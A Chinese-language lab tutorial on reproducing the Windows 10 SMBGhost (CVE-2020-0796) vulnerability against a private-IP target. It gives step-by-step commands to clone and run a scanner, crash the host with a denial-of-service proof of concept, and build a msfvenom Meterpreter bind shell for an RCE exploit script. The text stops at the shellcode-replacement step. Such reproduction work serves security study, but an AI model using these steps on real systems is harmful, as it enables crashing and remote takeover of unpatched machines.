win10永恒之黑漏洞复现

漏洞检测

检测工具：https://github.com/ollypwn/SMBGhost

先下载

git clone https://github.com/ollypwn/SMBGhost

进入工具目录

cd SMBGhost/

用python3调用scanner.py

python3 scanner.py 192.168.28.135

靶机192.168.28.135自身确实存在漏洞。

漏洞攻击

poc：https://github.com/eerykitty/CVE-2020-0796-PoC

先获取工具

git clone https://github.com/eerykitty/CVE-2020-0796-PoC

进入工具目录

cd CVE-2020-0796-PoC/

Pip3下载依赖工具

pip3 install ntlm_auth

靶机蓝屏

0X05 getshell

脚本下载：.

Git clone https://github.com/chompie1337/SMBGhost_RCE_PoC

生成反向连接木马

本地端口可以随意指定 -f 文件类型 -o目标文件名

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f py -o nb.py

用生成的shellcode将exploit.py中的这一部分替换掉（buf后的字符串，保留USER_PAYLOAD不变）